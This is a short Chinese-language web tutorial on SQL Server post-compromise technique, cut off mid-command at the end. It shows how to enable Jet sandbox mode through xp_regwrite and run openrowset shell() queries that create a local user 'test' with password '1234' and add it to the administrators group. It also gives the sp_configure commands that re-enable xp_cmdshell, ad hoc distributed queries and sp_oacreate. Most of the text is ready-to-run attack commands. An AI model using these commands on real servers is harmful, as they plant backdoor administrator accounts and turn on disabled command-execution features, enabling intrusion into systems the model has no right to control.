使用jet沙盤模式,可以解決XP_cmdshell等存儲過程和相關動態鏈接庫帶來的煩惱。出于安全原因,系統默認情況下沙盤模式未開啟,這就需要xp_regwrite開啟沙盤模式:
| Exec master.dbo.xp_regwrite ''HKEY_LOCAL_MACHINE'',''SOFTWARE/Microsoft/Jet/4.0
/Engines'',''SandBoxMode'',''REG_DWORD'',1 |
然后執行沙盤命令,在系統添加一個用戶名為test,密碼為1234的用戶:
| select * from openrowset(''microsoft.jet.oledb.4.0'','';database=c:/windows
/system32/ias/ias.mdb'',''select shell("cmd.exe /c net user test 1234 /add")'') select * from openrowset(''microsoft.jet.oledb.4.0'','';database=c:/windows /system32/ias/ias.mdb'',''select shell("cmd.exe /c net localgroup administrators test /add")'') |
不同的,路徑也不一樣,需要根據情況做修改:操作系統
NT/2K: c:/winnt/system32/
XP/2003: c:/windows/system32/
另外Microsoft SQL Server2005在默認情況下,一些存儲過程是關閉著的,需要命令打開:
開啟XP_cmdshell:
| EXEC sp_configure ''show advanced options'', 1;RECONFIGURE;EXEC sp_configure
''xp_cmdshell'', 1;RECONFIGURE; |
開啟''OPENROWSET'':
| exec sp_configure ''show advanced options'', 1;RECONFIGURE;exec sp_configure
''Ad Hoc Distributed Queries'',1;RECONFIGURE; |
開啟''sp_oacreate'':
| exec sp_configure ''show advanced options'', 1;RECONFIGURE;exec sp |
新聞熱點
疑難解答